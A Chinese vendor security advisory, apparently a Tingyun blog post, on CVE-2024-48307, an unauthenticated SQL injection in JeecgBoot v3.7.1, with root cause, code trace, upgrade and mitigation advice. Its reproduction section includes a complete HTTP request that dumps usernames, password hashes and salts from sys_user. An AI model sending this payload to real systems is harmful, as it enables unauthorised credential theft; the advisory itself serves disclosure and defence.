在數(shù)字化浪潮中,Web 應(yīng)用已成為企業(yè)運營的核心。然而,隨之而來的安全挑戰(zhàn)也日益嚴(yán)峻,其中 SQL 注入漏洞作為一種經(jīng)典的攻擊手段,至今仍是威脅數(shù)據(jù)安全的重要因素。近期,JeecgBoot 低代碼平臺被曝出 SQL 注入漏洞(CVE-2024-48307),再次提醒我們對數(shù)據(jù)庫安全的重視。本文將圍繞這一漏洞,從其概覽、風(fēng)險自查、修復(fù)建議,到漏洞原理、復(fù)現(xiàn)與追蹤,再到如何通過專業(yè)工具和策略進行有效防護,為您提供一份全面的技術(shù)解讀,旨在幫助企業(yè)構(gòu)建更堅固的安全防線。
01
漏洞概覽
/ TINGYUN
JeecgBoot是一個由Java開發(fā)的一款的集成AI應(yīng)用的,基于BPM流程的低代碼平臺。JeecgBoot v3.7.1版本存在安全漏洞,該漏洞源于通過組件/onlDragDatasetHead/getTotalData 發(fā)現(xiàn)包含 SQL 注入漏洞。該漏洞允許攻擊者通過構(gòu)造惡意請求,在未授權(quán)的情況下直接對數(shù)據(jù)庫進行操作,從而可能導(dǎo)致數(shù)據(jù)泄露、數(shù)據(jù)篡改,甚至獲取數(shù)據(jù)庫控制權(quán)。這無疑對依賴 JeecgBoot 平臺的用戶構(gòu)成了巨大的潛在威脅。
02
風(fēng)險自查
/ TINGYUN
為了及時發(fā)現(xiàn)并規(guī)避潛在風(fēng)險,企業(yè)應(yīng)當(dāng)對使用的 JeecgBoot 版本進行自查。您可以通過檢查 org.jeecgframework.boot:jeecg-boot-parent 的版本,核查您的 JeecgBoot 是否處于以下受影響的范圍內(nèi):org.jeecgframework.boot:jeecg-boot-parent
03
如何修復(fù)受影響的程序
/ TINGYUN
針對JeecgBoot SQL 注入漏洞,最直接有效的修復(fù)方式是升級您的 JeecgBoot 版本。請注意以下升級建議:
-
升級到 org.jeecgframework.boot:jeecg-boot-parent 3.7.1 以上版本。
04
漏洞原理
/ TINGYUN
CVE-2024-48307 JeecgBoot 在線報表 SQL 注入漏洞的根本原因在于以下方面:
-
未授權(quán)訪問:接口 /drag/onlDragDatasetHead/getTotalData 被配置為未授權(quán)訪問(anon),任何用戶都能直接調(diào)用。
-
參數(shù)未嚴(yán)格校驗:接口接收的 tableName 和 condition 參數(shù)在拼接 SQL 時未經(jīng)過嚴(yán)格校驗。
-
未使用預(yù)編譯:未使用 MyBatis 的預(yù)編譯(參數(shù)綁定)方式,而是直接拼接到 SQL 語句中。
攻擊者可以構(gòu)造惡意請求,在 tableName 或查詢條件中注入 SQL 語句,從而導(dǎo)致數(shù)據(jù)泄露、數(shù)據(jù)篡改,甚至獲取數(shù)據(jù)庫控制權(quán)限。 ?
03
如何修復(fù)受影響的程序
/ TINGYUN
為了更直觀地理解 SQL 注入漏洞的利用過程,我們將通過 JeecgBoot v3.7.1版本進行漏洞復(fù)現(xiàn)。以下是詳細的復(fù)現(xiàn)步驟:
1.搭建環(huán)境
根據(jù)官方文檔進行環(huán)境搭建,只進行漏洞復(fù)現(xiàn)可不搭建前端環(huán)境:
源代碼:https://github.com/jeecgboot/JeecgBoot/tree/v3.7.1
官方搭建文檔:https://help.jeecg.com/java/setup/idea/startup.html
啟動環(huán)境

2.構(gòu)造 POC 并請求接口
構(gòu)造 poc,請求接口 POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData

3.POC
POST/jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: {host}:8080
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Referer: http://{host}/jeecg-boot/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Request-Origion: Knife4j
knife4j-gateway-code: ROOT
Origin: http://{host}:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Content-Length: 357
{
“tableName”: “sys_user”,
“compName”: “test”,
“condition”: { “filter”: {} },
“config”: {
“assistValue”: [],
“assistType”: [],
“name”: [
{ “fieldName”: “concat(username,0x3a,password,0x3a,salt)”, “fieldType”: “string” },
{ “fieldName”: “id”, “fieldType”: “string” }
],
“value”: [{ “fieldName”: “id”, “fieldType”: “string” }],
“type”: []
}
}
04
漏洞追蹤
/ TINGYUN
為了更深入地理解漏洞的成因,我們對JeecgBoot的相關(guān)代碼進行了追蹤分析:
//1.權(quán)限控制分析
jeecg 通過 shiro 控制權(quán)限,先找到 ShiroConfig.java,JeecgBoot-3.7.1jeecg-bootjeecg-boot-base-coresrcmainjavaorgjeecgconfigshiroShiroConfig.java,可以看到 /jeecg-boot/drag/onlDragDatasetHead/getTotalData 配置了不需要 anon,即匿名訪問,不需要登錄就能訪問。

//2.定位漏洞路由
存在漏洞的路由為:/jeecg-boot/drag/onlDragDatasetHead/getTotalData,找到對應(yīng)的文件,找到對應(yīng)路由。

//3.參數(shù)獲取與傳遞
通過調(diào)試模式,可以發(fā)現(xiàn)可以讓 compName 不等于”JPivotTable”,進入 this.onlDragDatasetHeadService.getTotalData(var3, var4, var5, var6, var9),var3,var4,var5,var6 均從請求中獲取,var9 為身份校驗后的結(jié)果,此漏洞無需驗證身份。

//4.進一步跟進
跟進后進入 org.jeecg.modules.drag.service.a.d#getTotalData,讓請求頭中的 config.formtype 不等于 design。

//5.關(guān)鍵變量分析
進入 org.jeecg.modules.drag.service.a.i,在 handleOnlineForm 中,var7 為關(guān)鍵,其中包含需要查詢的字段。

//6.SOL拼接問題
進一步跟進 this.onlDragDatasourceDao.selectListBySql 方法,發(fā)現(xiàn)這里沒有對用戶輸入的參數(shù)進行過濾,而是直接拼接 SQL 語句進行查詢,并將查詢結(jié)果返回給 var8。此時,系統(tǒng)已經(jīng)根據(jù)用戶輸入的惡意參數(shù)進行了查詢,從而導(dǎo)致 SQL 注入。

05
聽云 ASPM 如何提供幫助
/ TINGYUN
面對日益復(fù)雜的網(wǎng)絡(luò)安全威脅,專業(yè)的應(yīng)用安全性能管理(ASPM)工具顯得尤為重要。聽云 ASPM 用戶可以通過威脅感知,組件風(fēng)險,來實時觀察自己的系統(tǒng)是否存在依賴 0day 安全風(fēng)險以及 1day 或 nday 的組件風(fēng)險。針對上述 jeecgBoot SQL 注入漏洞,聽云 ASPM 能夠發(fā)揮以下關(guān)鍵作用:

SQL 注入漏洞發(fā)現(xiàn)?
當(dāng) JeecgBoot 通過聽云探針插樁后,惡意攻擊者嘗試有效 SQL 攻擊,在聽云 ASPM 的深度威脅中能夠立即發(fā)現(xiàn) SQL 漏洞。

威脅感知詳情
通過 ASPM,用戶可以看到 SQL 攻擊的請求信息和漏洞信息,幫助企業(yè)快速定位觸發(fā)漏洞的位置。

威脅感知詳情-修復(fù)方案
ASPM 還提供 SQL 注入漏洞的原理解析和修復(fù)示例,幫助開發(fā)人員理解和修復(fù)漏洞。
06
企業(yè)如何應(yīng)對SQL注入漏洞
/ TINGYUN
在企業(yè) Web 應(yīng)用開發(fā)過程中,隨著系統(tǒng)功能的不斷擴展,接口數(shù)量往往成百上千。開發(fā)者在趕工期或維護過程中,常常會忽視對某些接口參數(shù)的嚴(yán)格過濾,從而埋下安全隱患,SQL 注入漏洞就是其中的高發(fā)問題。例如,《CVE-2024-48307 JeecgBoot SQL 注入漏洞》就是典型案例。攻擊者僅需通過構(gòu)造惡意請求參數(shù),即可將惡意 SQL 拼接到查詢語句中,進而實現(xiàn)數(shù)據(jù)庫數(shù)據(jù)泄露甚至系統(tǒng)控制。
應(yīng)對這類問題的核心在于確保數(shù)據(jù)庫查詢的安全性,并構(gòu)建多層次的防護體系:
· 嚴(yán)格的輸入校驗:所有與數(shù)據(jù)庫交互的參數(shù)都必須經(jīng)過合法性校驗,避免直接拼接 SQL。建議采用參數(shù)化查詢(PreparedStatement)或 MyBatis 占位符綁定的方式,而不是字符串拼接。
· 最小化數(shù)據(jù)庫權(quán)限:限制數(shù)據(jù)庫賬戶權(quán)限,例如只授予查詢權(quán)限,避免開發(fā)庫賬號擁有 DROP、UPDATE、DELETE 等危險操作權(quán)限,降低注入被利用后的危害面。
· 數(shù)據(jù)庫層防護:在數(shù)據(jù)庫層開啟 SQL 防火墻(如 MySQL 的 SQL_SAFE_UPDATES 或 WAF 規(guī)則),過濾掉明顯的注入語句,阻斷異常查詢。
· 統(tǒng)一安全框架:企業(yè)應(yīng)建立統(tǒng)一的數(shù)據(jù)訪問安全框架,屏蔽底層 SQL 拼接邏輯,開發(fā)人員只能通過安全封裝后的接口進行數(shù)據(jù)庫訪問。
然而,在實際的企業(yè)應(yīng)用中,接口數(shù)量龐大、業(yè)務(wù)迭代頻繁,即使有規(guī)范和框架,也難以保證所有接口 100% 安全無誤。這時,借助專業(yè)工具的價值就尤為突出。通過聽云應(yīng)用安全性能管理(ASPM)、SAST/IAST 等專業(yè)工具,企業(yè)能夠自動化發(fā)現(xiàn) SQL 注入風(fēng)險,持續(xù)追蹤接口中的安全缺陷,快速定位問題接口與觸發(fā)條件,從而有效筑牢整體安全防線。
通過以上措施,企業(yè)才能在高頻迭代 + 海量接口的環(huán)境下,從源頭上減少類似 JeecgBoot SQL 注入漏洞的發(fā)生,并在開發(fā)、測試、上線全鏈路中形成可持續(xù)、可量化的安全保障機制。
?
面對日益嚴(yán)峻的網(wǎng)絡(luò)安全形勢,企業(yè)必須從開發(fā)、部署到運維的各個環(huán)節(jié),全面加強安全防護。通過嚴(yán)格的輸入校驗、合理的權(quán)限管理、數(shù)據(jù)庫層防護、統(tǒng)一安全框架以及引入專業(yè)的 ASPM 工具,企業(yè)能夠有效抵御 SQL 注入等各類安全威脅,確保業(yè)務(wù)的持續(xù)穩(wěn)定運行。
參考:
https://github.com/jeecgboot/JeecgBoot/issues/7237
聲明:
本文的所有漏洞環(huán)境均為本地測試環(huán)境,且本文僅供學(xué)習(xí)、安全研究參考使用,請勿用作違法用途,否則后果自負。
推薦閱讀

在數(shù)字化時代的今天,網(wǎng)站已成為企業(yè)和個人展示、推廣及交流的主要渠道。為了保障網(wǎng)站的穩(wěn)定運行,網(wǎng)站監(jiān)測服務(wù)應(yīng)運而生。該監(jiān)測服務(wù)的內(nèi)容十分豐富,可以幫助網(wǎng)站管理者更好地管理和優(yōu)化網(wǎng)站,進一步提升用戶的使用體驗。
2024-01-04
在當(dāng)今信息技術(shù)高速發(fā)展的時代,it運維監(jiān)控管理系統(tǒng)成為了企業(yè)管理中不可或缺的重要工具。它的作用不僅僅是為企業(yè)提供it設(shè)備的安穩(wěn)性和穩(wěn)定性保障,更是能夠提高能效率,降低成本,優(yōu)化管理流程,增強企業(yè)競爭力的利器。
2023-09-26
國外有一項針對800多家企業(yè)的CIO采訪調(diào)查,得出的結(jié)論:“企業(yè)云生態(tài)系統(tǒng)規(guī)模和復(fù)雜性伴隨著日益擴大的需求,與IT 資源管理能力之間的差距越來越大?!?/p>
2022-01-23
可視化運維管理在企業(yè)中的應(yīng)用越來越廣泛,因為它可以幫助企業(yè)更加高效地管理運維工作,提高工作效率。然而,如何實現(xiàn)高效的可視化管理是一個復(fù)雜的問題,很多企業(yè)都只知其一,下面將介紹幾種可以幫助企業(yè)實現(xiàn)高效運維管理的方法,讓企業(yè)在市場競爭中脫穎而出。
2023-03-30
隨著網(wǎng)絡(luò)時代的不斷發(fā)展,api接口的應(yīng)用變得越發(fā)廣泛,而隨著api接口復(fù)雜性的不斷提高,如何保證其穩(wěn)定并可靠便成為了一個十分重要的任務(wù),api接口監(jiān)控便走進了我們的視野。下面,就讓我們詳細了解一下api接口監(jiān)控的有關(guān)信息及其優(yōu)勢所在。
2023-10-08







系電話.png)